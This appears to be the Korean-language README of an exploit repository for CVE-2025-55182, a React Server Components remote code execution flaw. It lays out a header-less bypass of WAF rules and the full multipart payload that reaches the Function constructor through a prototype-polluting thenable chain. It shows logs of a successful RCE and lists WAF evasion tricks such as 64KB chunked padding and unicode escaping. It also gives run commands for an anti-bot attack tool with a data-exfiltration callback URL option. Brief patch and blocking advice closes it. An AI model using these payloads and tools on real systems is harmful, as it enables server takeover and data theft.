
헤더 우회 for CVE-2025-55182 (React Server Components RCE).
| 공격 벡터 | Next-Action 헤더 | WAF 탐지 |
|---|
| 원본 CVE | 필수 | 탐지 가능 |
| 이 우회 | 필수 아님 | 헤더 규칙 회피 |
┌─────────────────────────────────────────────────────────────────────────────┐
│ 원본 익스플로잇 (헤더 포함) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Next-Action: <action-id> ← 헤더 필요 │
│ Content-Type: multipart/form-data │
│ │
│ isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ 헤더 우회 (헤더 없음) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data ← Next-Action 헤더 없음! │
│ │
│ isMultipartAction = true → decodeAction() → loadServerReference() │
│ → Promise.all([bound]) → bound.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;
if (isMultipartAction && !isFetchAction) {
const action = await decodeAction(formData, serverModuleMap); // 우회 경로
await action(); // RCE
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 1단계: Action ID 추출 │
│ GET / → 숨겨진 입력에서 추출: <input name="$ACTION_ID_<40-hex>"/> │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ 2단계: 익스플로잇 전송 (Next-Action 헤더 없음) │
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data; boundary=x │
│ │
│ $ACTION_REF_0: x │
│ $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"} │
│ $ACTION_0:1: <익스플로잇 페이로드> │
│ $ACTION_0:2: "$@1" │
│ $ACTION_0:3: [] │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ 3단계: Thenable 체인 실행 │
│ │
│ bound: "$@1" → Chunk(1) │
│ → Promise.all([bound])가 bound.then() 호출 │
│ → then: "$2:__proto__:then" → Chunk.prototype.then() │
│ → initializeModelChunk() → "$B1337" 핸들러 │
│ → _formData.get = "$2:constructor:constructor" → Function │
│ → Function(RCE_CODE) → 코드 실행 │
└─────────────────────────────────────────────────────────────────────────────┘
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 헤더 우회 - 2단계 익스플로잇
============================================================
대상: http://localhost:3000/
[1단계] 페이지를 가져와 action ID 추출 중...
✓ Compiled / in 1105ms (523 modules)
[+] 1개의 action ID 발견:
c1cfa77a4481950d44c534f3a8174689deaefe80
[2단계] 익스플로잇 페이로드 전송 (Next-Action 헤더 없음)...
------------------------------------------------------------
요청 헤더:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(Next-Action 헤더 없음!)
------------------------------------------------------------
요청 본문 (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (메타데이터): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (익스플로잇): {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (순환 참조): "$@1"
$ACTION_0:3 (비어 있음): []
============================================================
*** RCE 성공! ***
============================================================
증명: 2-STEP RCE SUCCESS 1765143043451
// $ACTION_0:0 - 액션 메타데이터
{"id": "<40자 액션 ID>", "bound": "$@1"}
// $ACTION_0:1 - 익스플로잇 객체
{
"then": "$2:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<RCE_CODE>//",
"_chunks": "$Q3",
"_formData": {"get": "$2:constructor:constructor"}
}
}
// $ACTION_0:2 - 순환 참조
"$@1"
// $ACTION_0:3 - Map용 빈 배열
[]
| 기법 | 방법 | 테스트 완료 |
|---|---|---|
| 청크 패딩 | 64KB+ 패딩으로 WAF 버퍼 소진 | ✓ RCE |
| 유니코드 이스케이프 | \u0074\u0068\u0065\u006e for then | ✓ |
| URL 인코딩된 이름 | %24ACTION_REF_0 | ✓ |
| 변수 인덱스 | $ACTION_REF_abc, $ACTION_XyZ:0 | ✓ RCE |
POST / HTTP/1.1
Transfer-Encoding: chunked
10200 ← 64KB 패딩
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0
| 패키지 | 취약 버전 | 수정 버전 |
|---|---|---|
| react-server-dom-webpack | 19.0.0 - 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x | 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+ |
npm install
npm run build && npm run start
# 익스플로잇 실행
node test-chunked-v14.cjs # AWS WAF 테스트용
node test-bypass-2step.cjs # 2단계 자동화
# 확인
cat /tmp/2STEP-RCE.txt
JS 챌린지(Vercel, Cloudflare)가 있는 대상의 경우 Puppeteer 기반 익스플로잇 사용:
node antibot.cjs [옵션]
옵션:
-t, --target <host> 대상 호스트명
-p, --port <port> 대상 포트
-c, --callback <url> 데이터 유출용 콜백 URL
--http HTTP 사용 (HTTPS 대신)
--https HTTPS 사용 (기본값)
-h, --help 도움말 표시
예시:
node antibot.cjs -t example.vercel.app
node antibot.cjs -t localhost -p 3000 --http
node antibot.cjs -t target.com -c https://callback.example.com/exfil
패치가 유일한 신뢰할 수 있는 수정 방법입니다.
$ACTION_REF_ 접두사 차단 (먼저 URL 디코딩)$ACTION_[^:]+: 정규식 패턴 차단